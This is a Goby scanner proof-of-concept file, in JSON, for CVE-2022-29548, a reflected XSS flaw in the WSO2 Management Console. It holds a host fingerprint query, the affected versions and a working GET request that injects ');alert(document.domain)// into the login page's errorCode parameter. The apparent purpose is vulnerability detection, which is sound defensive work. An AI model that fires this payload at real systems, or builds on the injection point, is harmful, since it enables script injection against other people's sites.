{
      "Name": "WSO2 Management Console Reflected XSS CVE-2022-29548",
      "Level": "1",
      "Tags": [
            "reflectedxss"
      ],
      "GobyQuery": "app=\"wso2-carbon-server\" || product=\"WSO2-Carbon-Server\" || company=\"WSO2\" || title=\"WSO2\"",
      "Description": "WSO2 Identity Server is an open source Identity Management and Entitlement Server which is based on identity and security standards and specifications.",
      "Product": "WSO2 Management Console",
      "Homepage": "https://wso2.com/",
      "Author": "",
      "Impact": "A reflected XSS issue exists in the Management Console of several WSO2 products. This affects API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0, and 4.0.0; API Manager Analytics 2.2.0, 2.5.0, and 2.6.0; API Microgateway 2.2.0; Data Analytics Server 3.2.0; Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0, and 6.6.0; IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0, and 5.10.0; Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0, and 5.11.0; Identity Server Analytics 5.5.0 and 5.6.0; and WSO2 Micro Integrator 1.0.0.",
      "Recommendation": "https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1603",
      "References": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-29548",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29548"
      ],
      "HasExp": true,
      "ExpParams": null,
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "CARBON.showWarningDialog('???');alert(document.domain)//???",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "CARBON.showWarningDialog('???');alert(document.domain)//???",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}